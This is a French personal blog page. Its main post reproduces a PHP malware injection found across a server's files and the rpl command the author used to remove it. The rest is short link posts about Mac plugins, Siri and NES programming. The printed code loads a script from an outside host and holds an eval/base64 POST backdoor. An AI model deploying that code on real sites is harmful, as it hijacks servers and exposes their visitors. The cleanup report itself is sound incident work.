La Tortue Cynique / The Cynical Turtle

vendredi 20 janvier 2012

Qu'est-ce-qu'on se marre

Je trouve toujours ça joli le code infecté :


global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

Et après on se demande pourquoi "eval is evil" (mais ça reste moins pire que PREG_REPLACE_EVAL). A part ça, ça m'a permis de découvrir FilesMan, très pratique, une porte ouverte sur le serveur bourré d'astuces (oui bon, on appelle ça un backdoor, ça nous ramène au bon vieux temps de BackOrifice du CDC).

Hop :


user@sdxxxx:/home/alternc/html/x/xx$ set +H

user@sdxxxx:/home/alternc/html/x/xx$ rpl -R -x'.php' "global \$sessdt_o; if(!\$sessdt_o) { \$sessdt_o = 1; \$sessdt_k = \"lb11\"; if(!@\$_COOKIE[\$sessdt_k]) { \$sessdt_f = \"102\"; if(!@headers_sent()) { @setcookie(\$sessdt_k,\$sessdt_f); } else { echo \"<script>document.cookie='\".\$sessdt_k.\"=\".\$sessdt_f.\"';</script>\"; } } else { if(\$_COOKIE[\$sessdt_k]==\"102\") { \$sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie(\$sessdt_k,\$sessdt_f); } else { echo \"<script>document.cookie='\".\$sessdt_k.\"=\".\$sessdt_f.\"';</script>\"; } \$sessdt_j = @\$_SERVER[\"HTTP_HOST\"].@\$_SERVER[\"REQUEST_URI\"]; \$sessdt_v = urlencode(strrev(\$sessdt_j)); \$sessdt_u = \"http://turnitupnow.net/?rnd=\".\$sessdt_f.substr(\$sessdt_v,-200); echo \"<script src='\$sessdt_u'></script>\"; echo \"<meta http-equiv='refresh' content='0;url=http://\$sessdt_j'><!--\"; } } \$sessdt_p = \"showimg\"; if(isset(\$_POST[\$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),\$_POST[\$sessdt_p])));exit;} }" '' *

A Total of 613 matches replaced in 3732 files searched.

(Cyberpunk, 2012/01/20 14:59) lien permanent / larguer un com'

lundi 16 janvier 2012

Liens du 16/01/2012

PluginsNoLongerSupported - tenfourfox - Explaining plugin (non)support. - Mozilla for Power Macintosh - Google Project Hosting: No major plugin is being maintained for Power Macs any more: Flash stopped updates with Flash 10.1.102.64 in November 2010, and QuickTime 7 for the PowerPC was decommissioned with the release of QuickTime 7.7 and OS X Lion in August 2011. (Tiger users have not had an update since QT 7.6.4 in September 2009.)

Quel est la différence entre un Mac de 2003 et un PC de 2003 ? Le PC de 2003 peut encore servir et être mis à jour. Le Mac de 2003 a été abandonné, à commencer par Apple
(étiquettes : apple obsolescence programmée)
iPhone 4S is worth buying to look fashionable but not for Siri feature -- Shanghai Daily | 上海日报 -- English Window to China New: One of the most touted features of the iPhone 4S is the web-based voice recognition assistant Siri. It's interesting and sometimes powerful, but not always in China. First, it doesn't support Mandarin and China-based map and location services, which makes it somewhat less appealing than Apple's US-based advertising would have you believe. The good news is that Apple has said it will launch a Chinese-language version of Siri this year. Second, it can't always recognize words spoken in English. I tried it 10 times, and it recognized my words only 5 times. A Canadian native speaker who also tried found it worked seven out of 10 times. Still, it will give you results sometimes if it manages to catch only keywords.

Siri, c'est la personne qui vous répondra toujours au téléphone.
(étiquettes : homz siri apple)

(Weblogging, 2012/01/16 13:23) lien permanent / larguer un com'

mardi 10 janvier 2012

Liens du 10/01/2012

Programming NES games in C: So in the end you are given with just 1280 bytes of RAM to store your variables, arrays, buffers and so on.

On se marrait bien à l'époque.
(étiquettes : programmation contraintes)

(Weblogging, 2012/01/10 11:03) lien permanent / larguer un com'

lun	mar	mer	jeu	ven	sam	dim
						1
2	3	4	5	6	7	8
9	10	11	12	13	14	15
16	17	18	19	20	21	22
23	24	25	26	27	28	29
30	31

La Tortue Cynique / The Cynical Turtle

Qu'est-ce-qu'on se marre

Liens du 16/01/2012

Liens du 10/01/2012

qui est

Messagerie instantanée

les koms

m'enfin

les bons vieux

cherche Médor

archives

liens

allégeance

colophon